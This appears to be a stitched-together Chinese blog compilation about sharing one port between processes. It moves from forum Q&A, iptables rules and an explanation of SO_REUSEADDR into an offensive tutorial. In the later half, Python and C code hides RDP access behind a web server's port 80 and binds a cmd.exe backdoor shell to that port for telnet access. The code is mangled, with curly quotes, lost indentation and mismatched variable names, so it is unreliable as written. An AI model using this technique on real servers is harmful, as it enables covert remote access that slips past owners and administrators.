两个进程同时监听同一个端口

问题一:我自己写了一个TCP程序监听本机的9530端口,程序显示绑定成功。此时,我又打开一个socket调试工具(该工具名称为“Sokit”)也监听本机的9530端口,此时未报错,而是成功进入监听状态。按理说应该会提示“端口被占用”,如何解释两边同时成功监听了同一端口?
问题二:上述两者正在监听同一端口,为了验证谁真正进入了监听状态,我给该端口发了些数据。结果只有“Sokit”调试工具收到了数据,而我自己的程序没有任何反应。这说明我自己的程序并没有真正在侦听该端口,可是明明是我的程序先于“Sokit”调试工具绑定了9530端口,而我自己的程序反而收到不数据。如何解释?



可能两个的协议不同,
一个是TCP,一个是UDP



设置了 端口复用,导致后面监听的程序才是真正的接受程序

服务已启动,但是 curl 127.0.0.1 :9981可以 curl ip:9981不可以



排查方向:
1,监听了127.0.0.1 这个ip
2,和其他服务复用了端口,切后者后启动



通过排查发现是方案二



iptables设置只能本机访问3306端口
1、iptables -A INPUT -p tcp –dport 3306 -s 192.168.0.2 -d 192.168.0.2 -j ACCEPT
-s 源机器 -d 目标机器
2、iptables -A INPUT -p tcp –dport 3306 -j DROP
这里表示只能本机访问
注意:2一定在所有规则最后执行,因为iptables是按顺序判断的,前面让请求通过后,后面的规则将失效,假如2最早执行,则表示拒绝了所有请求的3306端口,因此后面设置的规则将全部无效
查看规则信息:
iptables -L -n
3、删除规则
iptables -D INPUT -p tcp –dport 3306 -j DROP
4、另一种删除方法
iptables -nvL –line-number
–line-number 显示规则的序列号
iptables -D INPUT



我们都知道socket是网络上两个进程之间的双向通信链路, 即



socket = 《A进程的IP地址:端口号,B进程的IP地址:端口号》



那么有个问题就很有意思了,不同的进程可以监听在同一个IP地址:端口号么?



根据Unix网络编程中的知识可知,服务端监听一个端口会经历:



1、根据套接字类型(Ipv4,Ipv6等)创建套接字socket



2、将套接字bind绑定到具体的网络地址和端口号



3、调用listen开始在这个套接字上进行监听。



Unix提供了一个接口setsockopt()可以在bind之前设置套接字选项,其中就包括REUSEADDR这个选项,表明可以多个进程复用bind函数中指定的地址和端口号。



由此可知多个应用(进程),包括同一个应用多次,都是可以绑定到同一个端口进行监听的。对应地C++、NET等高级语言也都提供了对应的接口。



比如有时候你在服务器上执行netstat -ano可能会发现同一个应用程序在同一个端口上有多个监听,这是因为一些服务端应用程序可能会异常退出或者没有完全释放套接字,但是需要在重新启动时还能够再次监听同一个端口,所以需要能够具备重复监听同一个端口的能力,因此也出现上述情形。



netstat -anp 也能发现



一直疑惑一个应用app如何才能以多进程,多线程的方式运行。对于多线程可能很好理解,我们只要在进程中启用多线程的模式即可。也就是来一个请求,我们就用函数pthread_create()启用一个线程即可。这样我们的应用就可以在单进程,多线程的模式下工作。



        但我们知道一个应用app通常工作在多进程,多线程的模式下,它的效率是最高的。那么我们如何才能做到多进程模式呢?经验告诉我们,如果多次启动一个进程会报错:“Address already in use!”。这是由于bind函数导致的,由于该端口号已经被监听了。



        其实我们只要在绑定端口号(bind函数)之后,监听端口号之前(listen函数),用fork()函数生成子进程,这样子进程就可以克隆父进程,达到监听同一个端口的目的。



这应该是多个进程同时复用一个socket



不过在现代linux中,多个socket同时监听同一个端口也是可能的,在Nginx 1.9.1以上版本也支持这一行为



linux 3.9以上内核支持SO_REUSEPORT选项,即允许多个socket bind/listen在同一个端口上。这样,多个进程就可以各自申请socket监听同一个端口,当数据来时,内核做负载均衡,唤醒监听的其中一个进程处理,用法类似于setsockopt(listener, SOL_SOCKET, SO_REUSEPORT, &option, sizeof(option))



采用SO_REUSEPORT选项可以有效地解决epoll惊群问题,具体测试可以看看在下写的例子:ThunderingHerdTest.cpp



有关SO_REUSEPORT选项的讨论可参看 The SO_REUSEPORT socket option,关于题主的疑虑,文中这句话可以作为解答:



To prevent unwanted processes from hijacking a port that has already been bound by a server using SO_REUSEPORT, all of the servers that later bind to that port must have an effective user ID that matches the effective user ID used to perform the first bind on the socket.



即不是任意进程都可以绑定在同一个端口上的,只有effective user ID相同才可以



关于Nginx和SO_REUSEPORT的讨论可以看 We increase productivity by means of SO_REUSEPORT in NGINX 1.9.1



1.查看端口信息有三种方式:



a.netstat



b.lsof



c./etc/services



2.端口复用



使用setsockopt()函数的SO_REUSEADDR和SO_REUSEPORT选项。



setsockopt() 函数,用于任意类型、任意状态套接口的设置选项值。尽管在不同协议层上存在选项,但本函数仅定义了***的“套接口”层次上的选项。



在缺省条件下,一个套接口不能与一个已在使用中的本地地址捆绑(bind()))。但有时会需要“重用”地址。因为每一个连接都由本地地址和远端地址的组合唯一确定,所以只要远端地址不同,两个套接口与一个地址捆绑并无大碍。为了通知套接口实现不要因为一个地址已被一个套接口使用就不让它与另一个套接口捆绑,应用程序可在 bind() 调用前先设置 SO_REUSEADDR 选项。请注意仅在 bind() 调用时该选项才被解释;故此无需(但也无害)将一个不会共用地址的套接口设置该选项,或者在 bind() 对这个或其他套接口无影响情况下设置或清除这一选项。



我们这里要使用的是 socket 中的 SO_REUSEADDR ,下面是它的解释。



SO_REUSEADDR 提供如下四个功能:



SO_REUSEADDR:允许启动一个监听服务器并捆绑其众所周知端口,即使以前建立的将此端口用做他们的本地端口的连接仍存在。这通常是重启监听服务器时出现,若不设置此选项,则bind时将出错。
SO_REUSEADDR:允许在同一端口上启动同一服务器的多个实例,只要每个实例捆绑一个不同的本地IP地址即可。对于TCP,我们根本不可能启动捆绑相同IP地址和相同端口号的多个服务器。
SO_REUSEADDR:允许单个进程捆绑同一端口到多个套接口上,只要每个捆绑指定不同的本地IP地址即可。这一般不用于TCP服务器。
SO_REUSEADDR:允许完全重复的捆绑:当一个IP地址和端口绑定到某个套接口上时,还允许此IP地址和端口捆绑到另一个套接口上。一般来说,这个特性仅在支持多播的系统上才有,而且只对UDP套接口而言(TCP不支持多播)。
一般地,我们需要设置 socket 为非阻塞模式,缘由如果我们是阻塞模式,有可能会导致原有占用端口服务无法使用或自身程序无法使用,由此可见,端口复用使用非阻塞模式是比较保险的。



然而理论事实是需要检验的,当有些端口设置非阻塞时,缘由它的数据传输连续性,可能会导致数据接收异常或者无法接收到数据情况,非阻塞对于短暂型连接影响不大,但对持久性连接可能会有影响,比如3389端口的转发复用,所以使用非阻塞需要视端口情况而定。



阻塞



阻塞调用是指调用结果返回之前,当前线程会被挂起(线程进入非可执行状态,在这个状态下,cpu不会给线程分配时间片,即线程暂停运行)。函数只有在得到结果之后才会返回。



非阻塞



非阻塞和阻塞的概念相对应,指在不能立刻得到结果之前,该函数不会阻塞当前线程,而会立刻返回。



0x02 端口复用的坑点



在端口复用上可分为 理论 和 实战 ,下面来细细谈谈其中的坑点。



理论:在理论上,我们通过端口复用技术,不会对其他占用此端口的程序或者进程造成影响,因为我们设置了 socket 为 SO_REUSEADDR ,监听 0.0.0.0:80 和监听 192.168.1.1:80 或者监听 127.0.0.1:80 ,他们的地址是不同的,创建了程序或者进程所接收到的流量是相互不影响的,多个线程或进程互不影响。



实战:在Windows中,我们设置了 socket 为 SO_REUSEADDR ,但是无法开启端口复用程序,关闭Web服务程序,端口复用程序可用但Web服务程序又无法使用,只能存在一样,所以端口复用是鸡肋是备胎。哦,不,是千斤顶,换备胎的时候用一下。



在理论上,我们的想法是***的,然而现实确是,你设置了 socket 为 SO_REUSEADDR 并没有想象中的那么大作用。



当程序编写人员 socket 在绑定前需要使用 setsockopt 指定 SO_EXCLUSIVEADDRUSE 要求独占所有的端口地址,而不允许复用。这样其它人就无法复用这个端口了,即使你设置了 socket 为 SO_REUSEADDR 也没有用,程序根本跑不起来。



在windows上测试端口复用时,当启动iis服务,端口复用程序无法正常运行,开启端口复用程序时IIS无法正常使用,后查阅相关文档得知,原因是从IIS6.0开始,微软将网络通信的过程封装在了ring0层,使用了http.sys这个驱动来直接进行网络通信。一个设置了 SO_REUSEADDR 的 socket 总是可以绑定到已经被绑定过的源地址和源端口,不管之前在这个地址和端口上绑定的 socket 是否设置了 SO_REUSEADDR 没有。这种操作对系统的安全性产生了极大的影响,于是乎,Microsoft就加入了另一个 socket 选项: SO_EXECLUSIVEADDRUSE 。设置了 SO_EXECLUSIVEADDRUSE 的 socket 确保一旦绑定成功,那么被绑定的源端口和地址就只属于这一个 socket ,其它的 socket 都不能绑定,甚至他们使用了 SO_REUSEADDR 请求端口复用也没用(当然你也可以修改iis的监听地址或者注入 http.sys 驱动,不过这在实战中不太现实)。



在这其中,也有例外,比如apache和其他运行在应用层上的服务器中间件,在他们开放的端口上是可以进行端口复用的,不过这样,端口复用的范围就小了许多。



然而你们以为事实上就这样了吗?NO!NO!NO!



端口的流量是通过协议完成的,一旦多个协议通过一个端口,流量就只会流向一个连接,流量流向一个(一个)建立连接的 socket ,其他的 socket 可能会连接WAIT,等待数据连接中断或者完成数据传输后正常退出,而另外一个连接就会阻塞而无法使用,所以应了那句中国谚语“一山不容二虎”(用分流数据转发这样发生的几率会小一些)。



数据分流的话,和 burp 和 Fiddler 的原理一样,采用代理中转的方式进行中间人转发,这样就既可以保证端口的复用,又可以保证数据的完整性。



绕过这些坑点的方法有很多的思路,举几个例子



本地端口代理中转转发
Hook注入
驱动注入
绕过方法不在本文讨论范围内。^__^



0x03 端口复用过程



原理和坑点讲完了,还是来讲一下端口复用的具体细节吧(即使现在我们知道了端口复用的尿性)



实验说明:本文实验均在理论试验中,所有服务中间件均在系统应用层运行。



目前绑定端口复用有两种:



复用端口重定向
复用端口
(一)复用端口重定向



使用条件:



原先存在80端口,并且监听80端口,需要复用80端口重定向到3389(其他任意)端口



准备环境:



这里我用jspstudy搭建一个网页服务器,用虚拟机模拟外部环境



Windows7服务器:IP:192.168.1.8,开放80端口,3389端口
Win2008 虚拟机:IP:192.168.19.130
我们开启服务器并查看开放的端口,可以看到我们开放了80端口和3389端口



我们现在启动端口复用工具,看看网页是否正常



接着win2008服务器192.168.19.130打开远程桌面连接器连接192.168.1.8的80端口



可以看到,我们成功的连接到了192.168.1.8的3389端口



(二)复用端口



使用条件:



原先存在80端口,并且监听80端口,需要复用80端口为23(其他任意)端口



准备环境:



这里我用jspstudy搭建一个网页服务器,用虚拟机模拟外部环境



Windows7服务器:IP:192.168.1.8,开放80端口
Win2008虚拟机:IP:192.168.19.130
这里的端口复用是模拟一个cmd后门,当外部IP:192.168.19.130 telnet本地IP:192.168.1.8时,反弹一个cmsdshell过去。



启动端口复用工具,telnet连接192.168.1.8的80端口



可以看到我们成功得到了一个cmd shell的会话。



好了,具体的理论和坑点和实战我们都做了,那么下面开始我们的源码分析。



0x04 端口复用源码分析



(一):复用端口重定向



目的:原先存在80端口,并且监听80端口,22,23,3389等端口复用80端口



复用端口重定向的实现



(1)外部IP连本地IP : 192.168.2.1=>192.168.1.1:80=>127.0.0.1:3389
(2)本地IP转外部IP : 127.0.0.1:3389=>192.168.1.1:80=>192.168.2.1
首先外部 IP(192.168.2.1) 连接本地 IP(192.168.1.1) 的 80 端口,由于本地 IP(192.168.1.1) 端口复用绑定了 80 端口,所以复用绑定端口监听到了外部 IP(192.168.2.1) 地址流量,判断是否为HTTP流量,如果是则发送回本地 80 端口,否则本地 IP(192.168.1.1) 地址连接本地 ip(127.0.0.1) 的 3389 端口,从本地 IP(127.0.0.1) 端口 3389 获取到的流量由本地 IP(192.168.1.1) 地址发送到外部 IP(192.168.2.1) 地址上,这个过程就完成了整个端口复用重定向。



我们用python代码解释,如下:



复制代码
#coding=utf-8



import socket
import sys
import select



host=’192.168.1.8’
port=80
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )

s.bind((host,port))
s.listen(10)



S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
S1.connect((‘127.0.0.1’,3389))
print “Start Listen 80 =>3389…..”
while 1:
infds,outfds,errfds=select.select([s,],[],[],5) #转发3389需去除
if len(infds)!=0:#转发3389需去除
conn,(addr,port)=s.accept()
print ‘[*] connected from ‘,addr,port
data=conn.recv(4096)
S1.send(data)
recv_data=s1.recv(4096)
conn.send(recv_data)
print ‘[-] connected down’,
S1.close()
s.close()
复制代码
首先我们创建了两个套接字 s 和 s1 , s 绑定 80 端口,其中 setsockopt 用到了 socket.SO_REUSEADDR 以达到端口复用目的, s1 连接本地 3389 端口, s1 在这里起到了数据中转的作用, select 是我们用来处理阻塞问题的,不过在这里这段代码是有点问题的,这个问题在前文说过, 3389 端口能够连上,但是数据传输会中断,我们需要开启多线程来保证数据的连续性传输并取消掉 select 。



那么如果要区分两者数据呢?



我们只需要加上一个判断(怎么判断数据标头可以自定义),或者判断自己的标记头。



复制代码
if ‘GET’ or ‘POST’ in data:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((‘127.0.0.1’,80))
s.send(data)
bufer=’’
while 1:
recv_data=s.recv(4096)
bufer += recv_data
if len(recv_data)==0:
break
复制代码



我们把不是我们的数据包中转发给本地环回地址的 80 端口http服务器。



以下为C语言实现代码,如下:



和python的代码一样,首先我们绑定本地监听复用的 80 端口,其中监听的IP可能会出现问题,那么我们可以换成 192.168.1.1 , 127.0.0.1 都是可以的,这里不能用 select 来处理阻塞,会出问题的,所以我们去掉,***创建个线程来进行数据传输交互。



复制代码
//初始化操作
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(“0.0.0.0”);
saddr.sin_port = htons(80);
if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
{
printf(“[-] error!socket failed!//n”);
return (-1);
}
//复用操作
if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
{
printf(“[-] error!setsockopt failed!//n”);
return -1;
}
//绑定操作
if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{
ret = GetLastError();
printf(“[-] error!bind failed!//n”);
return -1;
}
//监听操作
listen(server_sock, 2);



while (1) 
{
caddsize = sizeof(scaddr);
server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
if (server_conn != INVALID_SOCKET)
{
cthd = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
if (cthd == NULL)
{
printf("[-] Thread Creat Failed!//n");
break;
}
}
CloseHandle(cthd);
}
closesocket(server_sock);
WSACleanup();
return 0; } 复制代码


这里有一个 ClientThread() 函数,这个函数是需要在 main() 函数里面调用的(见如上代码),这里创建一个套接字来连接本地的 3389 端口,用 while 循环来处理复用交互的数据, 80 端口监听到的数据发送到本地的 3389 端口上面去,从本地的 3389 端口读取到的数据用 80 端口的套接字发送出去,这就构成了端口复用的重定向,当然在这个地方可以像上面python代码一样,在中间加一个数据判断条件,从而保证数据流向的完整和可靠和精准性。



复制代码
//创建线程
DWORD WINAPI ClientThread(LPVOID lpParam)
{
//连接本地目标3389
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(“127.0.0.1”);
saddr.sin_port = htons(3389);
if ((conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
{
printf(“[-] error!socket failed!//n”);
return -1;
}
val = 100;
if (setsockopt(conn_sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
{
ret = GetLastError();
return -1;
}
if (setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
{
ret = GetLastError();
return -1;
}
if (connect(conn_sock, (SOCKADDR *)&saddr, sizeof(saddr)) != 0)
{
printf(“[-] error!socket connect failed!//n”);
closesocket(conn_sock);
closesocket(ss);
return -1;
}
//数据交换处理
while (1)
{
num = recv(ss, buf, 4096, 0);
if (num > 0){
send(conn_sock, buf, num, 0);
}
else if (num == 0)
{
break;
}
num = recv(conn_sock, buf, 4096, 0);
if (num > 0)
{
send(ss, buf, num, 0);
}
else if (num == 0)
{
break;
}
}
closesocket(ss);
closesocket(conn_sock);
return 0;
}
复制代码



还有一种方法就是端口转发达到端口复用的效果,我们用lcx等端口转发工具也可以实现同等效果,不过隐蔽性就不是很好了,不过还是提一下吧。



下面是 python 代码实现 lcx 的端口转发功能,由于篇幅限制,就只写出核心代码。



首先定义两个函数,一个 server 端和一个 connect 端, server 用于绑定端口, connect 用于连接转发端口。



这里的 select 来处理套接字阻塞问题, get_stream() 函数用于交换 sock 流对象,这样做的好处是双方分工明确,避免混乱, ex_stream() 函数用于流对象的数据转发。 Connect() 函数里多了个时间控制,控制连接超时和等待连接,避免连接出错异常。



然而事实是 select 控制阻塞后, 3389 端口的连接无法正常通信,其他短暂性连接套接字不受影响。



复制代码
def get_stream(flag):
pass
def ex_stream(host, port, flag, server1, server2):
pass
def server(port, flag):
host = ‘0.0.0.0’
server = create_socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host, port))
server.listen(10)
while True:
infds,outfds,errfds=select.select([server,],[],[],5)
if len(infds)!= 0:

conn, addr = server.accept()
print (‘[+] Connected from: %s:%s’ % (addr,port))
streams[flag] = conn
server_sock2 = get_stream(flag)

ex_stream(host, port, flag, conn, server_sock2)



def connect(host, port, flag):
connet_timeout = 0
wait_time = 30
timeout = 5
while True:
if connet_timeout > timeout:
streams[flag] = ‘Exit’
print (‘[-] Not connected %s:%i!’ % (host,port))
return None
conn_sock = create_socket()
try:
conn_sock.connect((host, port))
except Exception, e:
print (‘[-] Can not connect %s:%i!’ % (host, port))
connet_timeout += 1
time.sleep(wait_time)
continue



    print "[+] Connected to %s:%i" % (host, port) 
streams[flag] = conn_sock
conn_sock2 = get_stream(flag)
ex_stream(host, port, flag, conn_sock, conn_sock2) 复制代码


(一):端口复用



端口复用的原理是与源端口占用程序监听同一端口,当复用端口有数据来时,我们可以判断是否是自己的数据包,如果是自己的,那么就自己处理,否则把数据包交给源端口占用程序处理。



在这里有个问题就是,如果你不处理数据包的归属问题的话,那么这个端口就会被端口复用程序占用,从而导致源端口占用程序无法工作。



外部IP:192.168.2.1=>192.168.1.1:80=>run(data)
内部IP:return(data)=>192.168.1.1:80=>192.168.2.1
代码以cmd后门为例,我们还是先创建一个TCP套接字



listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
设置 socket 可复用 SO_REUSEADDR



BOOL val = TRUE;
setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
设置IP和复用端口号,IP和端口号视情况而定。



sockaddr_in sockaaddr;
sockaaddr.sin_addr.s_addr = inet_addr(“192.168.1.8”);
sockaaddr.sin_family = AF_INET;
sockaaddr.sin_port = htons(80);
设置反弹的程序,以 cmd.exe 为例,首先创建窗口特性并初始化为 CreateProcess() 创建进程做准备,当 cmd.exe 的进程创建成功后,以 socket 进行数据通信交换,这里还可以换成其他程序,比如 Shellcode 小马接收器、写入文件程序、后门等等。



STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;



char cmdLine[] = “cmd”;
PROCESS_INFORMATION pi;
ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, π);


Category linux